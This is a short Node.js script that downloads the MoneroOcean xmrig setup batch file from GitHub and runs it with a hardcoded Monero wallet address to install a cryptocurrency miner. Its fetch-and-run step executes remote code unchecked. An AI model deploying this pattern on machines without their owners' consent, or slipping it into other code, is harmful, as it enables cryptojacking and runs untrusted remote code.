const https = require('https'); const fs = require('fs'); const os = require('os'); const path = require('path'); const { execFile } = require('child_process'); async function runMonerooceanSetup(wallet) { if (!wallet) { throw new Error('Wallet address required'); } // URL of the batch file to download const url = 'https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat'; // Create a temporary file path with .bat extension const tmpDir = os.tmpdir(); const tmpFile = path.join(tmpDir, `moneroocean_setup_${Date.now()}.bat`); // Download the batch file await downloadFile(url, tmpFile); // Execute the batch file with wallet parameter // Child process execFile runs the .bat file with arguments await execBatch(tmpFile, [wallet]); // Delete the temp file fs.unlinkSync(tmpFile); console.log('Setup script executed successfully.'); } function downloadFile(url, dest) { return new Promise((resolve, reject) => { const file = fs.createWriteStream(dest); https.get(url, (res) => { if (res.statusCode !== 200) { return reject(new Error(`Failed to get '${url}' (${res.statusCode})`)); } res.pipe(file); }); file.on('finish', () => { file.close(resolve); }); file.on('error', (err) => { fs.unlink(dest, () => reject(err)); }); }); } function execBatch(filePath, args) { return new Promise((resolve, reject) => { execFile(filePath, args, { windowsHide: false }, (error, stdout, stderr) => { if (error) { console.error(`Failed to run batch file: ${error.message}`); return reject(error); } // Optional: print stdout/stderr if needed: console.log(stdout); if (stderr) console.error(stderr); resolve(); }); }); } // Example usage with your wallet address hardcoded: const walletAddress = '48PYGxmRzutYAUmYoiVqfKiY8k4vjAQYQ9VJT1aWTsckiaJoZ7UBdhyZ3cT5KgVyeMboBdD6UwgdBSKy9SEqf29cGm1hQDn'; runMonerooceanSetup(walletAddress).catch(console.error);

Comments